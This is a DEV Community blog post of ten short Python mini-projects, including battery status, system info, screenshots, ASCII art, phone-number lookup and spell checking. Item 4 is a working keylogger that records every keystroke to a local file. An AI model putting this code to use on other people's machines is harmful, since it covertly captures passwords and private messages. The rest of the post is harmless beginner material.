DEV Community

Cover image for The ultimate python codes / mini-projects
Arpit
Arpit

Posted on • Edited on

The ultimate python codes / mini-projects

1. Get Laptop Battery Percentage using Python

# python script showing battery details
import psutil

# function returning time in hh:mm:ss
def convertTime(seconds):
    minutes, seconds = divmod(seconds, 60)
    hours, minutes = divmod(minutes, 60)
    return "%d:%02d:%02d" % (hours, minutes, seconds)

# returns a tuple
battery = psutil.sensors_battery()

print("Battery percentage : ", battery.percent)
print("Power plugged in : ", battery.power_plugged)

# converting seconds to hh:mm:ss
print("Battery left : ", convertTime(battery.secsleft))
Enter fullscreen mode Exit fullscreen mode

Requirements

pip install psutil
Enter fullscreen mode Exit fullscreen mode

Install psutil in Linux

sudo apt-get install gcc python3-dev

sudo pip3 install psutil
Enter fullscreen mode Exit fullscreen mode

2. Get the system info with Python

import platform
print(f"Node: {platform.node()}")
print(f"Plateform: {platform.platform()}")
print(f"System: {platform.system()}")
print(f"Processor: {platform.processor()}")
print(f"Architecture: {platform.architecture()}")
print(f"Version: {platform.version()}")
print(f"Release: {platform.release()}")
Enter fullscreen mode Exit fullscreen mode

3. Take a Screenshot using Python

import pyscreenshot as ImageGrab
import datetime
import time
time.sleep(3)  # tell me why I used delay here...
im = ImageGrab.grab()
im.save("screenshot-" + str(datetime.datetime.now()) + ".png")
im.show()
Enter fullscreen mode Exit fullscreen mode

Requirement

pip install pyscreenshot
Enter fullscreen mode Exit fullscreen mode

4. Keylogger using Python

from pynput.keyboard import Key, Controller,Listener
keyboard = Controller()
keys=[]
def on_press(key):
    global keys
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)

    with open('keys.txt', 'a') as f:
        f.write(main_string)   
        keys= []     

def on_release(key):
    if key == Key.esc:
        return False
with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()
Enter fullscreen mode Exit fullscreen mode

Requirement

pip install pynput
Enter fullscreen mode Exit fullscreen mode

5. Text to ASCII art

# import pyfiglet module
import pyfiglet

result = pyfiglet.figlet_format("Arpit is sexy")
print(result)
Enter fullscreen mode Exit fullscreen mode

Requirement

pip install pyfiglet
Enter fullscreen mode Exit fullscreen mode

6. Convert any image to ASCII art

import pywhatkit as kit
kit.image_to_ascii_art("heart.png")
Enter fullscreen mode Exit fullscreen mode

Requirement

pip install pywhatkit
Enter fullscreen mode Exit fullscreen mode

7. Convert Color Photo to Black

from PIL import Image
img = Image.open("color-to-bw/rdj.jpg")
contobw = img.convert("L")
contobw.save("color-to-bw/rdj-bw.jpg")
contobw.show()
Enter fullscreen mode Exit fullscreen mode

Requirement

pip install Pillow
Enter fullscreen mode Exit fullscreen mode

8. Get Phone Number Information

import phonenumbers
from phonenumbers import carrier, geocoder, timezone
mobileNo = input("Enter Mobile Number with Country code: ")
mobileNo = phonenumbers.parse(mobileNo)
# get timezone a phone number
print(timezone.time_zones_for_number(mobileNo))
# Getting carrier of a phone number
print(carrier.name_for_number(mobileNo, "en"))
# Getting region information
print(geocoder.description_for_number(mobileNo, "en"))
# Validating a phone number
print(phonenumbers.is_valid_number(mobileNo))
# Checking possibility of a number
print(phonenumbers.is_possible_number(mobileNo))
Enter fullscreen mode Exit fullscreen mode

Requirement

pip install phonenumbers
Enter fullscreen mode Exit fullscreen mode

9. Random Wikipedia Article Generator

import requests
from bs4 import BeautifulSoup
import webbrowser

while True:
    url = requests.get("https://en.wikipedia.org/wiki/Special:Random")
    soup = BeautifulSoup(url.content, "html.parser")
    title = soup.find(class_="firstHeading").text

    print(f"{title} \nDo you want to view it? (Y/N)")
    ans = input("").lower()

    if ans == "y":
        url = "https://en.wikipedia.org/wiki/%s" % title
        webbrowser.open(url)
        break
    elif ans == "n":
        print("Try again!")
        continue
    else:
        print("Wrong choice!")
        break
Enter fullscreen mode Exit fullscreen mode

Requirements

pip install beautifulsoup4
pip install requests
Enter fullscreen mode Exit fullscreen mode

10. Spelling Checker

from textblob import TextBlob 

a = "comuter progrming is gret"
print("original text: "+str(a)) 

b = TextBlob(a) 
print("corrected text: "+str(b.correct()))  
Enter fullscreen mode Exit fullscreen mode

Requirement

pip install textblob
Enter fullscreen mode Exit fullscreen mode

Happy Coding :)

Follow me on Twitter @sudoarpit

Top comments (0)